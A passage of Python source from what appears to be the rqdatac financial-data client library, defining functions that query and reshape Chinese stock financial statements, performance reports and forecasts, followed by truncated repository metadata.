order_book_ids = ensure_list_of_string(order_book_ids)\r\n    quarters = get_quarters(quarter, interval)\r\n    quarter_dates = [str(quarter_to_date(y, q)) for y, q in quarters]\r\n    result = []\r\n    for i, (table_name, fields) in enumerate(classify_fields(fields)):\r\n        if not fields:\r\n            continue\r\n\r\n        if i == 3:  # ttm, exclude ['info_type', 'is_complete', 'enterprise_type']\r\n            extra_fields = PIT_BASIC_FIELDS[0:-3]\r\n        elif i == 4:  # main_data, exclude ['is_complete', 'enterprise_type']\r\n            extra_fields = PIT_BASIC_FIELDS[0:-2]\r\n        elif i == 5:\r\n            extra_fields = (\"order_book_id\", \"end_date\", \"if_adjusted\", \"info_date\", \"info_type\")\r\n        else:\r\n            extra_fields = PIT_BASIC_FIELDS\r\n        fields.extend(extra_fields)\r\n\r\n        sql = \"\"\"SELECT {}\r\n        FROM {}\r\n        \"\"\".format(', '.join(fields), table_name)\r\n        where = [\"end_date IN ('{}')\".format(\"', '\".join(quarter_dates))]\r\n        if if_adjusted not in ['all', 'ignore']:\r\n            where.append('if_adjusted {} 2'.format('=' if if_adjusted in (0, '0') else '<>'))\r\n        if order_book_ids is not None:\r\n            where.append(\"order_book_id IN ('{}')\".format(\"', '\".join(order_book_ids)))\r\n        if max_info_date is not None:\r\n            where.append(\"info_date <= '{}'\".format(max_info_date))\r\n\r\n        sql += \"\"\"WHERE {}\"\"\".format(' AND '.join(where))\r\n        records = get_client().execute(\"get_pit_financials\", sql, market=market)\r\n        if records:\r\n            df = pd.DataFrame(records)\r\n            df['if_adjusted'] = df['if_adjusted'].apply(lambda x: 0 if x == 2 else 1)\r\n\r\n            if 'accounting_standards' in df.columns:\r\n                df['accounting_standards'] = df['accounting_standards'].apply(lambda x: 1 if x == 1 else 0)\r\n            if 'if_complete' in df.columns:\r\n                df['if_complete'] = df['if_complete'].apply(lambda x: 1 if x == 1 else 0)\r\n\r\n            if if_adjusted != 'all':\r\n                if if_adjusted == 'ignore':\r\n                    subset = ['order_book_id', 'end_date']\r\n                else:\r\n                    subset = ['order_book_id', 'end_date', 'if_adjusted']\r\n                df.sort_values('info_date', inplace=True)\r\n                df.drop_duplicates(subset=subset, keep='last', inplace=True)\r\n            df.fillna(np.inf, inplace=True)\r\n            result.append(df)\r\n    if not result:\r\n        return\r\n    if len(result) == 1:\r\n        result = result[0]\r\n    elif len(result) > 1:\r\n        result = reduce(\r\n            lambda left, right: pd.merge(\r\n                left, right, how='outer', on=[f for f in left.columns if f in right.columns]\r\n            ), result)\r\n\r\n    result.sort_values(by=['order_book_id', 'end_date', 'info_date'], inplace=True)\r\n    result.set_index(['order_book_id', 'end_date'], inplace=True)\r\n\r\n    base_columns = ['info_date', 'if_adjusted']\r\n    if 'accounting_standards' in result.columns:\r\n        base_columns.append('accounting_standards')\r\n    if 'if_complete' in result.columns:\r\n        result.rename(columns={'if_complete': 'is_complete'}, inplace=True)\r\n        result['enterprise_type'] = result['enterprise_type'].map(ENTERPRISE_TYPE_MAP)\r\n        base_columns.extend(['is_complete', 'enterprise_type'])\r\n    if 'info_type' in result.columns:\r\n        result['info_type'] = result['info_type'].map(INFO_TYPE_MAP)\r\n        base_columns.extend(['info_type'])\r\n\r\n    return result[base_columns + [c for c in result.columns if c not in base_columns]]\r\n\r\n\r\n@export_as_api\r\ndef get_pit_financials_ex(order_book_ids, fields, start_quarter, end_quarter,\r\n                          date=None, statements='latest', market='cn'):\r\n    \"\"\"\r\n        获取股票财务数据(Point In Time)\r\n    :param order_book_ids: 股票合约代码列表\r\n    :param fields: 指定返回财报字段\r\n    :param start_quarter: 财报季度 - 起始，如 2020q1\r\n    :param end_quarter: 财报季度 - 截止\r\n    :param date: 财报发布日期，默认为当前日期, 如 '2020-01-01' | '20200101'\r\n    :param statements: 可选 latest/all, 默认为 latest\r\n            latest: 仅返回在date时点所能观察到的最新数据；\r\n            all：返回在date时点所能观察到的所有版本，从第一次发布直到观察时点的所有修改。\r\n    :param market: 股票市场范围\r\n    :return:\r\n    \"\"\"\r\n    fields = ensure_list_of_string(fields, 'fields')\r\n    check_items_in_container(fields, FIELDS_LIST_EX, \"fields\")\r\n    fields.extend(['order_book_id', 'info_date', 'end_date'])\r\n    fields = list(set(fields))\r\n    fields[fields.index(\"info_date\")], fields[0] = fields[0], fields[fields.index(\"info_date\")]\r\n\r\n    check_quarter(start_quarter, 'start_quarter')\r\n    start_quarter_int = ensure_date_int(quarter_string_to_date(start_quarter))\r\n\r\n    check_quarter(end_quarter, 'end_quarter')\r\n    end_quarter_int = ensure_date_int(quarter_string_to_date(end_quarter))\r\n\r\n    if start_quarter > end_quarter:\r\n        raise ValueError(\r\n            'invalid quarter range: [{!r}, {!r}]'.format(\r\n                start_quarter, end_quarter))\r\n\r\n    date = ensure_date_or_today_int(date)\r\n\r\n    order_book_ids = ensure_list_of_string(order_book_ids, 'order_book_ids')\r\n\r\n    if statements not in ['all', 'latest']:\r\n        raise ValueError(\"invalid statements , got {!r}\".format(statements))\r\n\r\n    pit_financial_df = pd.DataFrame(\r\n        get_client().execute(\"get_pit_financials_ex\", order_book_ids, fields, start_quarter_int, end_quarter_int, date,\r\n                             statements, market))\r\n    if pit_financial_df.empty:\r\n        return\r\n    pit_financial_df = pit_financial_df.reindex(columns=fields)\r\n    pit_financial_df.sort_values(['order_book_id', 'end_date', 'info_date'])\r\n    pit_financial_df[\"end_date\"] = pit_financial_df[\"end_date\"].apply(\r\n        lambda d: \"{}q{}\".format(d.year, math.ceil(d.month / 3)))\r\n    pit_financial_df.rename(columns={\"end_date\": \"quarter\"}, inplace=True)\r\n    pit_financial_df.set_index(['order_book_id', 'quarter'], inplace=True)\r\n    pit_financial_df.sort_index(inplace=True)\r\n    return pit_financial_df\r\n\r\n\r\n@export_as_api\r\ndef get_fundamentals(query, entry_date, interval=None, report_quarter=False, expect_df=False, market=\"cn\"):\r\n    \"\"\"获取财务数据\r\n\r\n    :param query: query 对象\r\n    :param entry_date: 日期\r\n    :param interval:  (Default value = None)\r\n    :param report_quarter:  (Default value = False)\r\n    :param expect_df: 返回 MultiIndex DataFrame (Default value = False)\r\n    :param market:  (Default value = \"cn\")\r\n\r\n    \"\"\"\r\n\r\n    msg = \"'get_fundamentals' is deprecated, and will be removed soon. use get_factor instead.\"\r\n    warnings.warn(msg, stacklevel=2)\r\n\r\n    if market != \"cn\":\r\n        raise MarketNotSupportError(\"don't support market {} yet.\", market)\r\n\r\n    if not isinstance(query, Query):\r\n        raise ValueError(\"a sqlalchemy's Query object expected: {}\".format(type(query)))\r\n\r\n    raise_for_no_panel(expect_df)\r\n    entry_date = to_datetime(entry_date)\r\n    delta = 0\r\n    duration = 0\r\n    if interval is not None:\r\n        if not isinstance(interval, str):\r\n            raise ValueError(\r\n                \"invalid interval: {} should be a string like 1d, 5y, 3m, 2q\".format(interval)\r\n            )\r\n        if interval[-1] not in __TIME_DELTA_MAP__:\r\n            raise ValueError(\r\n                \"invalid interval: {}, interval unit should be d(day), \"\r\n                \"m(month), q(quarter) or y(year)\".format(interval)\r\n            )\r\n        delta = __TIME_DELTA_MAP__[interval[-1]]\r\n\r\n        try:\r\n            duration = int(interval[:-1])\r\n        except ValueError:\r\n            raise ValueError(\r\n                \"invalid interval: {}, should be a string like 1d, 5y, 3m, 2q\".format(interval)\r\n            )\r\n\r\n    trading_dates = [get_previous_trading_date(entry_date + __TIME_DELTA_MAP__[\"d\"], market=market)]\r\n    if duration > 0:\r\n        current_date = trading_dates[0]\r\n        one_day = __TIME_DELTA_MAP__[\"d\"]\r\n        for i in range(duration - 1):\r\n            current_date = get_previous_trading_date(current_date - delta + one_day, market=market)\r\n            trading_dates.append(current_date)\r\n\r\n    query = _unsafe_apply_query_filter(query, trading_dates)\r\n    sql = _compile_query(query)\r\n    records = get_client().execute(\"get_fundamentals\", sql, market=market)\r\n\r\n    if not records:\r\n        warnings.warn(\"No record found\")\r\n        return None\r\n\r\n    base_fields = [\"STOCKCODE\", \"TRADEDATE\", \"RPT_YEAR\", \"RPT_QUARTER\"]\r\n    field_names = base_fields + list(set(records[0].keys()) - set(base_fields))\r\n    items = [\"report_quarter\"] + field_names[4:] if report_quarter else field_names[4:]\r\n\r\n    if expect_df:\r\n        df = pd.DataFrame(records)\r\n        df.rename(columns={\"STOCKCODE\": \"order_book_id\", \"TRADEDATE\": \"date\"}, inplace=True)\r\n        df[\"report_quarter\"] = df[\"RPT_YEAR\"].map(str) + \"q\" + df[\"RPT_QUARTER\"].map(str)\r\n        df.sort_values([\"order_book_id\", \"date\"], ascending=[True, False], inplace=True)\r\n        df.set_index([\"order_book_id\", \"date\"], inplace=True)\r\n        for item in items:\r\n            if item != \"report_quarter\":\r\n                df[item] = df[item].astype(np.float64)\r\n        return df[items]\r\n\r\n    # 只有一个查询日期时, 保持顺序\r\n    if len(trading_dates) > 1:\r\n        stocks = list(set([r[field_names[0]] for r in records]))\r\n    else:\r\n        stocks = [r[field_names[0]] for r in records]\r\n\r\n    stock_index = {s: i for i, s in enumerate(stocks)}\r\n    day_index = {d: i for i, d in enumerate(trading_dates)}\r\n\r\n    removed_items_size = 3 if report_quarter else 4\r\n\r\n    array = np.ndarray(\r\n        ((len(records[0]) - removed_items_size), len(trading_dates), len(stocks)), dtype=object\r\n    )\r\n    array.fill(np.nan)\r\n    for r in records:\r\n        istock = stock_index[r[field_names[0]]]\r\n        iday = day_index[int8_to_date(r[field_names[1]])]\r\n        for i in range(4, len(r)):\r\n            array[(i - removed_items_size, iday, istock)] = np.float64(r[field_names[i]])\r\n        if report_quarter:\r\n            array[(0, iday, istock)] = (\r\n                np.nan\r\n                if None in (r[field_names[2]], r[field_names[3]])\r\n                else str(r[field_names[2]]) + \"q\" + str(r[field_names[3]])\r\n            )\r\n\r\n    trading_dates = pd.to_datetime(trading_dates)\r\n\r\n    warnings.warn(\"Panel is  removed after pandas version 0.25.0.\"\r\n                  \"the  default value of 'expect_df' will change to True in the future.\")\r\n    return pd.Panel(data=array, items=items, major_axis=trading_dates, minor_axis=stocks)\r\n\r\n\r\ndeprecated_fields = {\"data_point\": \"data_point\", \"table\": \"table\", \"comment\": \"comment\"}\r\n\r\n\r\n@export_as_api\r\ndef deprecated_fundamental_data(fields=None, market=\"cn\"):\r\n    fields = _check_deprecated_fields(fields)\r\n    df = pd.DataFrame(get_client().execute(\"deprecated_fundamental_data\", fields, market=market))\r\n\r\n    if len(df) < 1:\r\n        return None\r\n    if len(fields) == 1:\r\n        df = list(df[fields[0]])\r\n    return df\r\n\r\n\r\n@export_as_api\r\ndef current_performance(\r\n        order_book_id, info_date=None, quarter=None, interval=\"1q\", fields=None, market=\"cn\"\r\n):\r\n    \"\"\"获取A股快报\r\n\r\n    :param order_book_id: 股票代码, 如'000001.XSHE'\r\n    :param info_date: 发布日期, 如'20180501', 默认为最近的交易日 (Default value = None)\r\n    :param quarter: 发布季度, 如'2018q1' (Default value = None)\r\n    :param interval: 数据区间， 发布日期, 如'2y', '4q' (Default value = \"1q\")\r\n    :param fields: str 或 list 类型. 默认为 None, 返回所有字段 (Default value = None)\r\n    :param market: 地区代码, 如'cn' (Default value = \"cn\")\r\n    :returns: pd.DataFrame\r\n\r\n    \"\"\"\r\n    order_book_id = ensure_order_book_id(order_book_id, market=market)\r\n    end_date = None\r\n    if info_date:\r\n        info_date = ensure_date_int(info_date)\r\n    elif quarter:\r\n        splited = quarter.lower().split(\"q\")\r\n        if len(quarter) != 6 or len(splited) != 2:\r\n            raise ValueError(\r\n                \"invalid argument {}: {}, valid parameter: {}\".format(\r\n                    \"quarter\", quarter, \"string format like '2016q1'\"\r\n                )\r\n            )\r\n\r\n        year, quarter = int(splited[0]), int(splited[1])\r\n        if not 1 <= quarter <= 4:\r\n            raise ValueError(\r\n                \"invalid argument {}: {}, valid parameter: {}\".format(\r\n                    \"quarter\", quarter, \"quarter should be in [1, 4]\"\r\n                )\r\n            )\r\n        month, day = QUARTER_DATE_MAP[quarter]\r\n        end_date = ensure_date_int(datetime.datetime(year, month, day))\r\n    else:\r\n        info_date = ensure_date_int(datetime.date.today())\r\n    ensure_string(interval, \"interval\")\r\n    if interval[-1] not in (\"y\", \"q\", \"Y\", \"Q\"):\r\n        raise ValueError(\r\n            \"invalid argument {}: {}, valid parameter: {}\".format(\r\n                \"interval\", interval, \"interval unit should be q(quarter) or y(year)\"\r\n            )\r\n        )\r\n\r\n    try:\r\n        int(interval[:-1])\r\n    except ValueError:\r\n        raise ValueError(\r\n            \"invalid argument {}: {}, valid parameter: {}\".format(\r\n                \"interval\", interval, \"string like 4q, 2y\"\r\n            )\r\n        )\r\n    interval = interval.lower()\r\n\r\n    if fields is not None:\r\n        fields = ensure_list_of_string(fields, \"fields\")\r\n        check_items_in_container(fields, PERFORMANCE_FIELDS, \"fields\")\r\n    else:\r\n        fields = PERFORMANCE_FIELDS\r\n\r\n    data = get_client().execute(\r\n        \"current_performance\", order_book_id, info_date, end_date, fields, market=market\r\n    )\r\n    if not data:\r\n        return\r\n    df = pd.DataFrame(data)\r\n    sort_field = \"info_date\" if info_date else \"end_date\"\r\n    df.sort_values(by=[sort_field, \"mark\"], ascending=[False, True], inplace=True)\r\n    df.drop_duplicates(subset=\"end_date\", keep=\"first\", inplace=True)\r\n    num = int(interval[:-1])\r\n    unit = interval[-1]\r\n    if unit == \"y\":\r\n        latest_month = df.loc[0, \"end_date\"].month\r\n        df[\"month\"] = df.end_date.apply(lambda x: x.month)\r\n        df = df[df.month == latest_month]\r\n    df.reset_index(drop=True, inplace=True)\r\n    return df.loc[: num - 1, [\"end_date\", \"info_date\"] + fields]\r\n\r\n\r\nPERFORMANCE_FORECAST_FIELDS = [\r\n    \"forecast_type\",\r\n    \"forecast_description\",\r\n    \"forecast_growth_rate_floor\",\r\n    \"forecast_growth_rate_ceiling\",\r\n    \"forecast_earning_floor\",\r\n    \"forecast_earning_ceiling\",\r\n    \"forecast_np_floor\",\r\n    \"forecast_np_ceiling\",\r\n    \"forecast_eps_floor\",\r\n    \"forecast_eps_ceiling\",\r\n    \"net_profit_yoy_const_forecast\",\r\n]\r\n\r\n\r\n@export_as_api\r\ndef performance_forecast(order_book_ids, info_date=None, end_date=None, fields=None, market=\"cn\"):\r\n    \"\"\"获取业绩预报\r\n\r\n    :param order_book_ids: 股票代码，如['000001.XSHE', '000002.XSHE']\r\n    :param info_date: 信息发布日期，如'20180501'，默认为最近的交易日 (Default value = None)\r\n    :param end_date: 业绩预计报告期，如'20180501'，默认为最近的交易日 (Default value = None)\r\n    :param fields: str或list类型. 默认为None，返回所有字段 (Default value = None)\r\n    :param market:  (Default value = \"cn\")\r\n    :returns: pd.DataFrame\r\n\r\n    \"\"\"\r\n    order_book_ids = ensure_order_book_ids(order_book_ids, type='CS')\r\n    if info_date:\r\n        info_date = ensure_date_int(info_date)\r\n    elif end_date:\r\n        end_date = ensure_date_int(end_date)\r\n    else:\r\n        info_date = ensure_date_int(datetime.datetime.today())\r\n\r\n    if fields:\r\n        fields = ensure_list_of_string(fields, \"fields\")\r\n        check_items_in_container(fields, PERFORMANCE_FORECAST_FIELDS, \"fields\")\r\n    else:\r\n        fields = PERFORMANCE_FORECAST_FIELDS\r\n\r\n    data = get_client().execute(\r\n        \"performance_forecast\", order_book_ids, info_date, end_date, fields, market=market\r\n    )\r\n    if not data:\r\n        return\r\n    if len(order_book_ids) > 1:\r\n        df = pd.DataFrame(data, columns=[\"order_book_id\", \"info_date\", \"end_date\"] + fields)\r\n        return df.set_index(\"order_book_id\")\r\n\r\n    return pd.DataFrame(data, columns=[\"info_date\", \"end_date\"] + fields)\r\n\r\n\r\ndef _check_deprecated_fields(fields):\r\n    try:\r\n        if fields is None:\r\n            fields = list(deprecated_fields.values())\r\n        elif isinstance(fields, str):\r\n            fields = [deprecated_fields[fields]]\r\n        elif isinstance(fields, list):\r\n            fields = [deprecated_fields[i] for i in fields]\r\n        else:\r\n            raise ValueError(\"fields should be string or list of strings\")\r\n    except KeyError:\r\n        raise ValueError(\r\n            \"invalid argument fields: {!r}, valid parameter: {!r}\".format(\r\n                fields, list(deprecated_fields)\r\n            )\r\n        )\r\n    return fields\r\n\r\n\r\nPERFORMANCE_FIELDS = [\r\n    \"operating_revenue\",\r\n    \"gross_profit\",\r\n    \"operating_profit\",\r\n    \"total_profit\",\r\n    \"np_parent_owners\",\r\n    \"net_profit_cut\",\r\n    \"net_operate_cashflow\",\r\n    \"total_assets\",\r\n    \"se_without_minority\",\r\n    \"total_shares\",\r\n    \"basic_eps\",\r\n    \"eps_weighted\",\r\n    \"eps_cut_epscut\",\r\n    \"eps_cut_weighted\",\r\n    \"roe\",\r\n    \"roe_weighted\",\r\n    \"roe_cut\",\r\n    \"roe_cut_weighted\",\r\n    \"net_operate_cashflow_per_share\",\r\n    \"equity_per_share\",\r\n    \"operating_revenue_yoy\",\r\n    \"gross_profit_yoy\",\r\n    \"operating_profit_yoy\",\r\n    \"total_profit_yoy\",\r\n    \"np_parent_minority_pany_yoy\",\r\n    \"ne_t_minority_ty_yoy\",\r\n    \"net_operate_cash_flow_yoy\",\r\n    \"total_assets_to_opening\",\r\n    \"se_without_minority_to_opening\",\r\n    \"basic_eps_yoy\",\r\n    \"eps_weighted_yoy\",\r\n    \"eps_cut_yoy\",\r\n    \"eps_cut_weighted_yoy\",\r\n    \"roe_yoy\",\r\n    \"roe_weighted_yoy\",\r\n    \"roe_cut_yoy\",\r\n    \"roe_cut_weighted_yoy\",\r\n    \"net_operate_cash_flow_per_share_yoy\",\r\n    \"net_asset_psto_opening\",\r\n]\r\n\r\nQUARTER_DATE_MAP = {1: (3, 31), 2: (6, 30), 3: (9, 30), 4: (12, 31)}\r\n\r\n__TIME_DELTA_MAP__ = {\r\n    \"y\": relativedelta(years=1),\r\n    \"m\": relativedelta(months=1),\r\n    \"q\": relativedelta(months=3),\r\n    \"d\": relativedelta(days=1),\r\n}\r\n\r\n\r\n@export_as_api(name=\"fundamentals\")\r\n@export_as_api\r\nclass Fundamentals:\r\n    stockcode = FundamentalBase.stockcode\r\n    announce_date = FundamentalBase.announce_date\r\n    income_statement = StkIncomeGen\r\n    balance_sheet = StkBalaGen\r\n    cash_flow = StkCashGen\r\n    cash_flow_statement = StkCashGen\r\n    financial_indicator = AnaStkFinIdx\r\n    eod_derivative_indicator = AnaStkValIdx\r\n    fundamental_base = FundamentalBase\r\n    cash_flow_statement_TTM = CashFlowStatementTTM\r\n    income_statement_TTM = IncomeStatementTTM\r\n    financial_indicator_TTM = FinancialIndicatorTTM\r\n\r\n\r\n@export_as_api(name=\"query\")\r\ndef query_entities(*entities):\r\n    base_list = [\"stockcode\", \"tradedate\", \"end_date\", \"announce_date\", \"rpt_year\", \"rpt_quarter\"]\r\n    columns = [\r\n        Fundamentals.fundamental_base.stockcode,\r\n        Fundamentals.fundamental_base.tradedate,\r\n        Fundamentals.fundamental_base.rpt_year,\r\n        Fundamentals.fundamental_base.rpt_quarter,\r\n    ]\r\n    for ele in entities:\r\n        if isinstance(ele, DeclarativeMeta):\r\n            deprecated_list = deprecated_fundamental_data(\"data_point\")\r\n            query_list = [\r\n                v\r\n                for k, v in ele.__dict__.items()\r\n                if not k.startswith(\"_\") and k not in base_list and k not in deprecated_list\r\n            ]\r\n            columns.extend(query_list)\r\n        elif isinstance(ele, InstrumentedAttribute):\r\n            name = str(ele).split(\".\")[-1]\r\n            if name in [\"stockcode\", \"tradedate\", \"rpt_year\", \"rpt_quarter\"]:\r\n                continue\r\n            columns.append(ele)\r\n        else:\r\n            raise ValueError(\r\n                \"Invalid metrics to query, it maybe not specify metrics, \"\r\n                \"please check the metrics in query.\"\r\n            )\r\n\r\n    return Query(columns)\r\n\r\n\r\ndef _compile_query(query):\r\n    comp = query.statement.compile(dialect=mysql.dialect())\r\n    comp_params = comp.params\r\n    params = []\r\n    for k in comp.positiontup:\r\n        v = comp_params[k]\r\n        params.append(escape_item(v, conversions, encoders))\r\n\r\n    comp = comp.string\r\n    if \"equity_preferred_stock\" in comp:\r\n        if \"equity_prefer_stock\" in comp:\r\n            comp = comp.replace(\"fundamental_view.equity_prefer_stock,\", \"\")\r\n        comp = comp.replace(\"equity_preferred_stock\", \"equity_prefer_stock as equity_preferred_stock\")\r\n    elif \"equity_prefer_stock\" in comp:\r\n        warnings.warn(\"'equity_prefer_stock' has been deprecated, please use 'equity_preferred_stock'.\")\r\n\r\n    return comp % tuple(params)\r\n\r\n\r\ndef _unsafe_apply_query_filter(query, trading_dates):\r\n    # TODO this is a hack\r\n    limit, offset = query._limit, query._offset\r\n    query = query.limit(None).offset(None)\r\n\r\n    if query._order_by:\r\n        # 对于存在order_by的, 过滤掉 NaN\r\n        def _filter(q, column):\r\n            if isinstance(column, Column):\r\n                return q.filter(column is not None)\r\n            if isinstance(column, UnaryExpression):\r\n                return _filter(q, column.element)\r\n            return q\r\n\r\n        for creterion in query._order_by:\r\n            query = _filter(query, creterion)\r\n\r\n    query = query.filter(FundamentalBase.tradedate.in_([to_date_int(d) for d in trading_dates]))\r\n\r\n    if len(trading_dates) > 1:\r\n        query = query.order_by(FundamentalBase.tradedate.desc())\r\n    return query.limit(limit).offset(offset)\r\n\r\n\r\ndef _parse_arguments(query, quarter, interval):\r\n    if not isinstance(query, Query):\r\n        raise ValueError(\r\n            \"The first argument must be a sqlalchemy's Query object. \"\r\n            \"But what passed in was: \" + str(type(query))\r\n        )\r\n    quarters = get_quarters(quarter, interval)\r\n    quarter_dates = [quarter_to_date(y, q) for y, q in quarters]\r\n    query = adjust_query(query, quarter_dates)\r\n    return _compile_query(query), quarters\r\n\r\n\r\ndef quarter_generator(year, quarter):\r\n    while True:\r\n        yield year, quarter\r\n        quarter -= 1\r\n        if quarter == 0:\r\n            quarter = 4\r\n            year -= 1\r\n\r\n\r\ndef year_generator(year, quarter):\r\n    while True:\r\n        yield year, quarter\r\n        year -= 1\r\n\r\n\r\ndef quarter_to_date(year, quarter):\r\n    dates = (331, 630, 930, 1231)\r\n    return year * 10000 + dates[quarter - 1]\r\n\r\n\r\ndef get_quarters(quarter, interval):\r\n    if quarter is None:\r\n        raise ValueError(\"quarter is required.\")\r\n\r\n    splited = quarter.lower().split(\"q\")\r\n    if len(splited) != 2:\r\n        raise ValueError(\"wrong quarter format, use format like '2016q1'\")\r\n\r\n    year, quarter = int(splited[0]), int(splited[1])\r\n    if not 1 <= quarter <= 4:\r\n        raise ValueError(\"quarter should be in [1, 4]\")\r\n\r\n    if interval is not None:\r\n        if not isinstance(interval, str):\r\n            raise ValueError(\"interval should be a string like 4q, 2y\")\r\n\r\n        if interval[-1] not in (\"y\", \"q\", \"Y\", \"Q\"):\r\n            raise ValueError(\"interval unit should be y(year) or q(quarter)\")\r\n        try:\r\n            int(interval[:-1])\r\n        except ValueError:\r\n            raise ValueError(\"interval should be a string like 4q, 2y\")\r\n    if interval is not None:\r\n        generator = (quarter_generator if interval[-1].lower() == \"q\" else year_generator)(\r\n            year, quarter\r\n        )\r\n        n = int(interval[:-1])\r\n        return list(islice(generator, n))\r\n    else:\r\n        return [(year, quarter)]\r\n\r\n\r\ndef adjust_query(query, quarter_dates):\r\n    # hack\r\n    if str(query._entities[1]).split(\".\")[-1] == \"tradedate\":\r\n        query._entities.pop(1)  # remove tradedate entity\r\n    limit, offset = query._limit, query._offset\r\n    query.limit(None).offset(None)\r\n\r\n    query = query.filter(FundamentalBase.end_date.in_(quarter_dates))\r\n\r\n    if len(quarter_dates) > 1:\r\n        query = query.order_by(FundamentalBase.end_date.desc())\r\n    return query.limit(limit).offset(offset)\r\n\r\n\r\ndef parse_results(records, quarters, expect_df):\r\n    if not records:\r\n        return None\r\n\r\n    removed_items_size = 3\r\n    base_fields = [\"stockcode\", \"rpt_year\", \"rpt_quarter\"]\r\n\r\n    field_names = base_fields + list(set(records[0].keys()) - set(base_fields))\r\n    items = field_names[removed_items_size:]\r\n\r\n    if not expect_df and not is_panel_removed:\r\n        # 只有一个查询日期时, 保持顺序\r\n        stocks = list(set(r[field_names[0]] for r in records))\r\n        stock_index = {s: i for i, s in enumerate(stocks)}\r\n        quarter_index = {q: i for i, q in enumerate(quarters)}\r\n\r\n        array = np.ndarray(\r\n            (len(records[0]) - removed_items_size, len(quarters), len(stocks)), dtype=object\r\n        )\r\n        array.fill(np.nan)\r\n        for r in records:\r\n            istock = stock_index[r[field_names[0]]]\r\n            iquarter = quarter_index[(r[field_names[1]], r[field_names[2]])]\r\n            for i in range(removed_items_size, len(r)):\r\n                if field_names[i] == \"announce_date\":\r\n                    announce_date = r[field_names[i]]\r\n                    array[i - removed_items_size, iquarter, istock] = (\r\n                        np.nan if announce_date is None else announce_date\r\n                    )\r\n                else:\r\n                    array[i - removed_items_size, iquarter, istock] = np.float64(r[field_names[i]])\r\n\r\n        s_quarters = [\"%dq%d\" % (year, quarter) for year, quarter in quarters]\r\n        results = pd.Panel(data=array, items=items, major_axis=s_quarters, minor_axis=stocks)\r\n        item_size, major_size, minor_size = results.shape\r\n        if minor_size == 1:\r\n            ret = results.minor_xs(*stocks)\r\n            return ret[field_names[removed_items_size]] if item_size == 1 else ret\r\n        elif item_size == 1:\r\n            return results[field_names[removed_items_size]]\r\n        elif major_size == 1:\r\n            return results.major_xs(*s_quarters)\r\n        else:\r\n            warnings.warn(\"Panel is removed after pandas version 0.25.0.\"\r\n                          \" the default value of 'expect_df' will change to True in the future.\")\r\n            return results\r\n    else:\r\n        df = pd.DataFrame(records)\r\n        df.rename(columns={\"stockcode\": \"order_book_id\"}, inplace=True)\r\n        df[\"quarter\"] = df[\"rpt_year\"].map(str) + \"q\" + df[\"rpt_quarter\"].map(str)\r\n        df.sort_values([\"order_book_id\", \"quarter\"], ascending=[True, False], inplace=True)\r\n        df.set_index([\"order_book_id\", \"quarter\"], inplace=True)\r\n        for item in items:\r\n            if item != \"announce_date\":\r\n                df[item] = df[item].astype(np.float64)\r\n        df = df[items]\r\n        if expect_df:\r\n            return df\r\n        else:\r\n            if len(df.index.get_level_values(0).unique()) == 1:\r\n                df.reset_index(level=0, inplace=True, drop=True)\r\n                df.index.name = None\r\n                df.sort_index(ascending=False, inplace=True)\r\n                if len(df.columns) == 1:\r\n                    df = df[df.columns[0]]\r\n                return df\r\n            elif len(df.columns) == 1:\r\n                field = df.columns[0]\r\n                df = df.unstack(0)[field]\r\n                df.index.name = None\r\n                df.columns.name = None\r\n                df.sort_index(ascending=False, inplace=True)\r\n                return df\r\n            elif len(df.index.get_level_values(1).unique()) == 1:\r\n                df.reset_index(level=1, inplace=True, drop=True)\r\n                df.index.name = None\r\n                return df\r\n            raise_for_no_panel()\r\n", "repo_name": "algo21-115010302/TouchFishCapital", "sub_path": "TouchFishCapital/venv/Lib/site-packages/rqdatac/services/financial.py", "file_name": "financial.py", "file_ext": "py", "file_size_in_byte": 36916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.stockcode", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 66, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase.announce_date", "line_number": 67, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.fundamental_base_sql.FundamentalBase", "line_number": 67, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.income_statement_sql.StkIncomeGen", "line_number": 68, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.balance_sheet_sql.StkBalaGen", "line_number": 69, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.cash_flow_sql.StkCashGen", "line_number": 70, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.financial_indicator_sql.AnaStkFinIdx", "line_number": 71, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.ttm_sql.CashFlowStatementTTM", "line_number": 72, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.ttm_sql.IncomeStatementTTM", "line_number": 73, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.ttm_sql.FinancialIndicatorTTM", "line_number": 74, "usage_type": "name"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 63, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 64, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 93, "usage_type": "call"}, {"api_name": "rqdatac.client.get_client", "line_number": 96, "usage_type": "call"}, {"api_name": "rqdatac.decorators.export_as_api", "line_number": 77, "usage_type": "name"}, {"api_name": "six.string_types", "line_number": 101, "usage_type": "attribute"}, {"api_name": "rqdatac.services.orm.pit_financials.BalanceSheet", "line_number": 102, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.CashFlowsStatement", "line_number": 102, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.IncomeStatement", "line_number": 102, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.TTM", "line_number": 102, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.MainData", "line_number": 102, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_BASIC_FIELDS_SET", "line_number": 115, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 117, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 119, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 121, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 123, "usage_type": "name"}, {"api_name": "rqdatac.services.orm.pit_financials.PIT_FIELDS", "line_number": 125, 